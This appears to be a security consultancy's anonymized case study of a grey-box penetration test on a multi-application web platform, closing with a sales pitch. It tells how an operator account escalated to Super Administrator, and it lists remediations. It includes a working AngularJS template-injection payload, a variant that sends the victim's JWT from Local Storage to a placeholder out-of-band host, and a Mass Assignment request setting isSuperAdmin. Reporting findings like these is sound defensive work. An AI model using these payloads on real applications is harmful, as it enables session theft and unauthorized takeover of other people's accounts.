One operator account, full platform takeover

The client gave us access to five linked web applications and one question: can someone with low privileges reach what is reserved for the top. The answer took us two weeks, and it came back worse than anyone expected.
An account that was supposed to see a single module ended up as Super Administrator of the whole platform, with the power to create more Super Admins.
Here is the full chain, step by step, with the CSTI payloads, the Mass Assignment escalation, and a MITRE ATT&CK mapping for the blue team.
Context
An administrator opened an ordinary list of records. He did not click a suspicious link, did not download an attachment, did not type a password on someone else's site. He did one of the most routine things in his job: he opened a view he opens every day. In that same second his session token left the building and landed on our server.
The client asked us to test a platform made of five separate web applications. Each has its own login panel, but identity and authorization are shared: one login authenticates the user across all five, and the session token, a JWT, lives on the browser side, in Local Storage. We ran the test grey-box, on production, under one hard rule: do not disrupt the applications and do not touch production data. We got a set of test accounts covering all eight roles in the system, from the lowest operational role up to Administrator.
The challenge
The application's protection layer was in place. That matters, because it changes the whole story. Traffic ran over HTTPS only, the server accepted only modern TLS 1.2 and 1.3, older protocols were off. The password policy was enforced consistently on the front end and the back end, so you could not slip past it with a simple browser-side validation bypass. There was MFA. There was a model of eight roles with granular permissions. There was SSO. On the architecture slide it looked solid.
The problem sat in two assumptions that look harmless on their own and together open the door. First: the session lives on the client, in a place any JavaScript running on the page can reach. Second: the front end runs on a framework that stopped getting security patches in December 2021. On top of that, authorization was enforced unevenly, sometimes properly, sometimes not at all. Each of these is defensible in isolation. The catch is that an attacker does not attack isolated parts, only the assembled whole.
What we did
We started with recon. We mapped the five applications, the eight roles, and who could reach what. Along the way the application introduced itself: chatty error messages gave away the backend technology, and looking at the front end showed AngularJS version 1.7.9. That version is past end of support. While we were at it we counted 20 publicly known CVEs across four client-side libraries whose versions the application exposed outright.
Then four things turned up that together form a takeover chain.
Access control that checks too little. More than ten API endpoints verified only whether the user was logged in, without checking whether their role was allowed near the resource at all. The eight-role model existed in the documentation, but not in the code of these endpoints.
GET /api/v1/<zasob>/<ID> # ta sama odpowiedź dla każdej z 8 ról
Code injection through CSTI. AngularJS evaluates expressions inside double braces. If user data reaches a template without sanitization, the browser treats it as code, not as text. Our proof of concept escaped the framework sandbox and ran arbitrary JavaScript:
{{ constructor.constructor('alert(1)')() }}We confirmed it in three different components, but the problem is architectural, not local. It comes from the framework itself, so any place where user data renders in an AngularJS context without cleaning is a potential vector.
A logout that did not log out. Each of the five applications keeps its own token in Local Storage. Clicking 'log out' in one of them removed only that one application's token and left the other four active. It is a bit like a lock with five keys, where the logout button politely removes one and leaves four behind. In an extreme case, tokens for two different users could coexist in one browser at once. The lack of session isolation between applications turned out to be the piece that turned CSTI from a curiosity into a real account takeover.
We put it all together. From the lowest-privilege account we placed a CSTI payload in a field that renders on a view also available to a higher role. The payload reads the JWT from Local Storage and sends it to a server we control, over an out-of-band channel:
{{ constructor.constructor('fetch("https://oob.example/?t="+localStorage.getItem("app_access_token"))')() }}When the Administrator opened that view, his browser ran our code and sent us his token. The token was valid for 48 hours, so we had a comfortable window. We attached it to requests as Authorization: Bearer <token>, and from that point the API treated us as the Administrator.
Finally, escalation to the very top through Mass Assignment. The profile update request carried a field that appears nowhere in the interface, and the backend accepted it without validation:
PATCH /api/v1/users/<ID>
{
"isSuperAdmin": true // pole niewidoczne w UI, backend akceptuje bez kontroli
}We set it to true. The Administrator became a Super Administrator. We gained functions that were out of reach before, including the ability to create another account with Super Administrator rights. An operational account had reached the highest privileges.
There is also a set of weak points that widen this chain further. MFA relied on a six-digit SMS code valid for five minutes, with no attempt limit and no code invalidation. A million combinations sounds like a lot, but with no attempt cap and the option to request a fresh code over and over, the attack window had essentially no end. Login had no rate limit, so a brute-force attack on passwords ran unopposed. The login endpoint gave away whether a given username existed through a difference in response time: about 500 ms for an existing user, about 150 ms for one that did not, with an identical error message. 100 ms is more than enough to build a list of real usernames for later attacks. On top of that we added an unrestricted file upload validated only by extension, and a CORS configuration that trusted any domain.
The chain mapped to MITRE ATT&CK, for the team that will build detection:
The result
The role that was supposed to see one module got the keys to the whole platform and the ability to make more. This was a chain, not a single bug: a framework past official end of support, a session held where any script can reach it, a logout that left tokens active, and authorization that checked 'are you logged in' instead of 'are you allowed.' Pull any single link and the whole chain breaks. That is exactly how the recommendations are ordered.
What to fix, from most urgent:
- Enforce an authorization check on every API endpoint individually, checking the role, not just the fact of authentication.
- Take away the backend's ability to accept fields that do not exist in the interface. A value like isSuperAdmin can be changed only by someone who is already a Super Administrator.
- Until the migration off AngularJS, strictly validate and sanitize every piece of user data rendered in a template context. Longer term, plan the move to an actively supported framework.
- Fix logout so that a single logout invalidates the tokens of every application on the platform, and consider moving the session out of Local Storage.
- Cut the JWT lifetime to 15 minutes and add a refresh mechanism.
- Invalidate the MFA code after three to five failed attempts and add rate limiting on login, per address and per username.
- Level out login response time so the server spends the same cost for an existing and a nonexistent account.
- Restrict file uploads with a content-type check, and narrow CORS to an allowlist of domains.
Credit where it is due. Some of the vulnerabilities disappeared during the test itself, after a new version of the application was deployed. That is a good sign: a team that patches bugs before the test ends moves fast. It was just missing someone to point the bugs out.
Take a moment to look at your own application. Where does it keep session tokens, and what exactly happens to them when a user clicks 'log out'? If the answer is 'in Local Storage' and 'one of several gets removed,' then every text field in that application could be a quiet handoff of someone else's session. We are happy to check that before someone else does.
Book a call with a consultant. Together we will scope a test of your web platform, the risks, and what a chain like this could look like in your environment.
All case studies are anonymized by sector, without names, dates or any data that could identify the client, in line with confidentiality. We never publish real vulnerabilities or client technical data.